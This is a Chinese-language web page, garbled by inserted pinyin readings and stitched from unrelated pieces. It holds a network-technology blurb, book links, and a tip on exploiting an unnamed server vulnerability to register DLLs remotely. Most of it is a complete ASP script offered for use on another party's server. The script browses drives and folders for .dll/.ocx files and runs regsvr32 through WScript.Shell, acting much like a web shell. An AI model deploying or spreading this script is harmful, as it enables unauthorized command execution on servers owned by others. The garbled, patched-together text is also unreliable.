|
導(dǎo)讀網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計(jì)算機(jī)、存儲(chǔ)資源、數(shù)據(jù)... 網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計(jì)算機(jī)、存儲(chǔ)資源、數(shù)據(jù)資源、信息資源、知識(shí)資源、專家資源、大型數(shù)據(jù)庫、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。 利用對(duì)方服務(wù)器漏洞遠(yuǎn)程注冊(cè)DLL我和朋友一起下載了一個(gè)相同的組件,苦于無法注冊(cè)而沒用,但最近我發(fā)現(xiàn)他在使用這個(gè)組件,顯然是已經(jīng)注冊(cè)了,好奇怪,他是怎么注冊(cè)的呢?我問他他不說。 其實(shí),我們?cè)贏SP中,是有捷徑遠(yuǎn)程注冊(cè)DLL的,但需要對(duì)方服務(wù)器漏洞的“配合”(什么漏洞?我可什么都沒說啊,自己看)。試試下面的代碼,或許僥幸成功呢: <% Response.Buffer = True %> <% Server.ScriptTimeout = 500 Dim frmFolderPath, frmFilePath frmFolderPath = Request.Form("frmFolderPath") frmFilePath = Request.Form("frmDllPath") frmMethod = Request.Form("frmMethod") btnREG = Request.Form("btnREG") %> <HTML> <HEAD> <TITLE>精彩春風(fēng)之遠(yuǎn)程注冊(cè)DLL</TITLE> <STYLE TYPE="TEXT/CSS"> .Legend {FONT-FAMILY: veranda; FONT-SIZE: 14px; FONT-WEIGHT: bold; COLOR: blue} .FS {FONT-FAMILY: veranda; FONT-SIZE: 12px; BORDER-WIDTH: 4px; BORDER-COLOR: green; MARGIN-LEFT:2px; MARGIN-RIGHT:2px} TD {MARGIN-LEFT:6px; MARGIN-RIGHT:6px; PADDING-LEFT:12px; PADDING-RIGHT:12px} </STYLE> </HEAD> <BODY> <FORM NAME="regForm" METHOD="POST"> <TABLE BORDER=0 CELLSPACING=6 CELLPADDING=6 MARGINWIDTH=6> <TR> <TD VALIGN=TOP> <FIELDSET ID=FS1 NAME=FS1 CLASS=FS> <LEGEND CLASS=Legend>注冊(cè)DLL</LEGEND> 敲入到DLL目錄的路徑 <INPUT TYPE=TEXT NAME="frmFolderPath" VALUE="<%=frmFolderPath%>"> <INPUT TYPE=SUBMIT NAME=btnFileList VALUE="創(chuàng)建文件列表"> <% IF Request.Form("btnFileList") <> "" OR btnREG <> "" Then Set RegisterFiles = New clsRegister RegisterFiles.EchoB("Select File") Call RegisterFiles.init(frmFolderPath) RegisterFiles.EchoB(" <INPUT TYPE=SUBMIT NAME=btnREG VALUE=" & Chr(34) _ & "REG/UNREG" & Chr(34) & ">") IF Request.Form("btnREG") <> "" Then Call RegisterFiles.Register(frmFilePath, frmMethod) End IF Set RegisterFiles = Nothing End IF %> </FIELDSET> </TD> </TR> </TABLE> </FORM> </BODY> </HTML> <% Class clsRegister Private m_oFS Public Property Let oFS(objOFS) m_oFS = objOFS End Property …… Sub init(strRoot) 'Root to Search (c:, d:, e:) Dim oDrive, oRootDir IF oFS.FolderExists(strRoot) Then IF Len(strRoot) < 3 Then 'Must Be a Drive Set oDrive = oFS.GetDrive(strRoot) Set oRootDir = oDrive.RootFolder Else Set oRootDir = oFS.GetFolder(strRoot) End IF Else EchoB("噢,文件夾( " & strRoot & " )沒找到!") Exit Sub End IF setRoot = oRootDir Echo("<SELECT NAME=" & Chr(34) & "frmDllPath" & Chr(34) & ">") Call getAllDlls(oRootDir) EchoB("</SELECT>") BuildOptions End Sub Sub getAllDlls(oParentFolder) Dim oSubFolders, oFile, oFiles Set oSubFolders = oParentFolder.SubFolders Set opFiles = oParentFolder.Files For Each oFile in opFiles IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then Echo("<OPTION VALUE=" & Chr(34) & oFile.Path & Chr(34) & ">" _ & oFile.Name & "</Option>") End IF Next On Error Resume Next For Each oFolder In oSubFolders 'Iterate All Folders in Drive Set oFiles = oFolder.Files For Each oFile in oFiles IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then Echo("<OPTION VALUE=" & Chr(34) & oFile.Path & Chr(34) & ">" _ & oFile.Name & "</Option>") End IF Next Call getAllDlls(oFolder) Next On Error GoTo 0 End Sub Sub Register(strFilePath, regMethod) Dim theFile, strFile, oShell, exitcode Set theFile = oFS.GetFile(strFilePath) strFile = theFile.Path Set oShell = CreateObject ("WScript.Shell") IF regMethod = "REG" Then 'Register oShell.Run "c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False) EchoB("regsvr32.exe exitcode = " & exitcode) Else 'unRegister oShell.Run "c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False) EchoB("regsvr32.exe exitcode = " & exitcode) End IF Cleanup oShell End Sub Sub BuildOptions EchoB("Register: <INPUT TYPE=RADIO NAME=frmMethod VALUE=REG CHECKED>") EchoB("unRegister: <INPUT TYPE=RADIO NAME=frmMethod VALUE=UNREG>") End Sub Function Echo(str) Echo = Response.Write(str & vbCrLf) End Function Function EchoB(str) EchoB = Response.Write(str & " " & vbCrLf) End Function Sub Cleanup(obj) If isObject(obj) Then Set obj = Nothing End IF End Sub Sub Class_Terminate() Cleanup oFS End Sub End Class %> ---- 最好的答案: http://www.huachu.com.cn/itbook/itbookinfo.asp?lbbh=BD04605180 http://www.waterpub.com.cn/sale/result.asp?id=5301 最好的介紹: http://www.intels.net/ ---- Internet是第一生產(chǎn)力; 網(wǎng)站建設(shè)是它的核心; ASP 就是網(wǎng)站的靈魂。 ---- 《ASP與相關(guān)數(shù)據(jù)庫技術(shù)高級(jí)指南》[ASP的專家] 網(wǎng)絡(luò)的神奇作用吸引著越來越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來越嚴(yán)峻的考驗(yàn)―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項(xiàng)技術(shù)都需要適時(shí)應(yīng)勢(shì),對(duì)應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。 |
溫馨提示:喜歡本站的話,請(qǐng)收藏一下本站!